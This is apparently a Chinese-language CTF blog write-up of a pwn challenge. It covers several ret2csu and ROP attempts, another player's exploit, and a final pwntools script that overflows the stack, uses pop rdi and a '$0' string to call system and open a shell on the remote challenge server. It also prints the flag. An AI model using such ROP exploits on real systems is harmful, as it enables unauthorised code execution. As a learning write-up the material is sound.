这题算是拓展我的知识了,学到了,nice!
还是一如既往的操作:
反编译:
又是有system没有/bin/sh
但这题也没有上一题可以往bss段写的地方,所以这里我第一想法就是直接利用栈溢出往bss段地址写/bin/sh,这里就想利用ret2csu,但很可惜我似乎没搞明白怎么做,下面是我的尝试。
pythonfrom pwn import*
io = remote('node4.anna.nssctf.cn',28835)
elf = ELF('./shell')
last_addr = 0x04005DA
front_addr = 0x04005C0
def csu(rbx,rbp,r12,r13,r14,r15,ret_addr):
payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12)
payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+b's'*(0x38)+p64(ret_addr)
io.sendline(payload)
read_plt = elf.plt['read']
system = 0x00400430
csu(0,1,read_plt,0x20,0x0601038,0,elf.sym['main'])
io.sendline(b'/bin/sh\x00')
csu(0,1,system,0,0,0x601038,elf.sym['main'])
io.interactive()
然后我又看了大佬们的做法发现有一位的wp与我想的方法一致,这是dalao的exp:
python
from pwn import *
context.endian = 'little'
context.os = 'linux'
context.arch = 'amd64'
context.log_level = 'debug'
io = remote('1.14.71.254', 28644)
elf = ELF('/root/Desktop/shell')
io.recvuntil(b'zltt lost his shell, can you find it?\n')
fake_addr = 0x601a00
pop_rsi_r15_ret = 0x004005e1
pop_rdi_ret = 0x004005e3
ret = 0x00400481
payload = b'a' * 0x10 + p64(fake_addr) + p64(pop_rsi_r15_ret) + p64(fake_addr) + p64(0) + p64(0x00400572)
io.send(payload)
payload = b'/bin/sh\x00' + p64(pop_rdi_ret) + p64(fake_addr) + p64(ret) + p64(elf.sym['system'])
io.send(payload)
所以我又进行了一下改进:
pythondef csu(rbx,rbp,r12,r13,r14,r15,ret_addr):
payload = b'a'*(10+8)+p64(last_addr)+p64(rbx)+p64(rbp)+p64(r12)
payload += p64(r13)+p64(r14)+p64(r15)+p64(front_addr)+\
b'/bin/sh\x00'+b's'*(0x38)+\
p64(pop_rdi)+p64(0x601038)+p64(ret)+p64(system)+\
p64(ret_addr)
io.sendline(payload)
但这里我又犯了一个错误,就是很明显我能溢出的字节数不够写这么长的rop
链,所以又换成了下面这样的写法:
pythonsystem = 0x00400430
pop_rsi_r15 = 0x004005e1
payload = b'a'*(10+8)+p64(0xdeadbeef)+p64(pop_rsi_r15)+p64(0x601038)+p64(0x0)+p64(0x0400572)
#这里仅仅改变read的第二个参数也就是改写入地址,用rsi寄存器,然后调用read函数
io.send(payload)
payload = b'/bin/sh\x00'+p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system)
#这里我看dalao的写法有一些没懂,这里如果这样写是可以把/bin/sh写入bss段,但是后面同时是直接用自己调用的read函数进行溢出,这样的话p64(pop_rdi)+p64(ret)+p64(0x601038)+p64(system),这样一段到底是在栈上还是在bss段上,如果在bss段,那就无法进行栈溢出,那如果在栈上,他又是如何做到的呢,为什么可以直接这样写,程序会自己判断(\x00)还是其实都是先入栈再通过莫种方式将/bin/sh移入bss段呢(这里我觉得不太可行)。
io.send(payload)
但依旧是打不通,所以还是老老实实用system($0)进行系统调用。
这同样也是我刚知道的新调用法:
pythonfrom pwn import *
elf = ELF('./shell')
p = remote('node4.anna.nssctf.cn',28835)
ret_addr = 0x400416 # ROPgadget --binary shell --only 'ret'
pop_rdi_ret = 0x4005e3 # ROPgadget --binary shell --only 'pop|rdi|ret'
tips = 0x400541
system_addr = elf.symbols['system']
payload = b'b'*0x10+b'b'*8+p64(ret_addr)+p64(pop_rdi_ret)+p64(tips)+p64(sys
tem_addr)
p.sendlineafter('find it?\n',payload)
p.interactive()
system(0,所以肯定要找0的机器码其实就是:24 30
所以可以找机器码。
在IDA里如何看机器码呢?
这样就可以看机器码了
同样代码段是有read权限的,所以可以读取字符串。
flag:
NSSCTF{6d9e2bc1-8482-4190-b94f-0fcb2c21e189}
本文作者:Hyrink
本文链接:
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!